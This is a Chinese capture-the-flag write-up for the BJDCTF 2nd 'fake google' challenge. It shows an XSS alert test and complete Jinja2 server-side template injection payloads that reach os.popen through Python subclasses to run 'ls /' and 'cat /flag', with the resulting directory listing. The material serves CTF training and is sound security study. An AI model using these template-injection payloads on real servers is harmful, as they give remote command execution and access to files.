[BJDCTF 2nd]fake google

[BJDCTF 2nd]fake google

进入页面:

试了几下发现输入xxx,一般会按的格式显示，

P3's girlfirend is : xxxxx

然后猜测会不会执行代码，发现可以执行

<script>alert(1);</script>

发现输出P3's girlfirend is : xxxxx的页面注释有一句话，师傅把点告诉我们了:ssti注入

<!--ssssssti & a little trick -->

题解就很明显了:因为师傅下手轻了，所以没什么过滤

payload:看一下根目录,回显了flag在这根目录

?name=

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

代码藏起来了，详情如下:

{% for c in [].class.base.subclasses() %}

{% if c.name=='catch_warnings' %}

{{ c.init.globals['builtins'].eval("import('os').popen('ls /').read()")}}

{% endif %}{% endfor %}

P3's girlfirend is : app bd_build bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

payload:查看flag,得到flag

?name=

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}{% endif %}{% endfor %}

代码藏起来了，详情如下:

{% for c in [].class.base.subclasses() %}

{% if c.name=='catch_warnings' %}

{{ c.init.globals['builtins'].eval("import('os').popen('cat /flag').read()")}}

{% endif %}{% endfor %}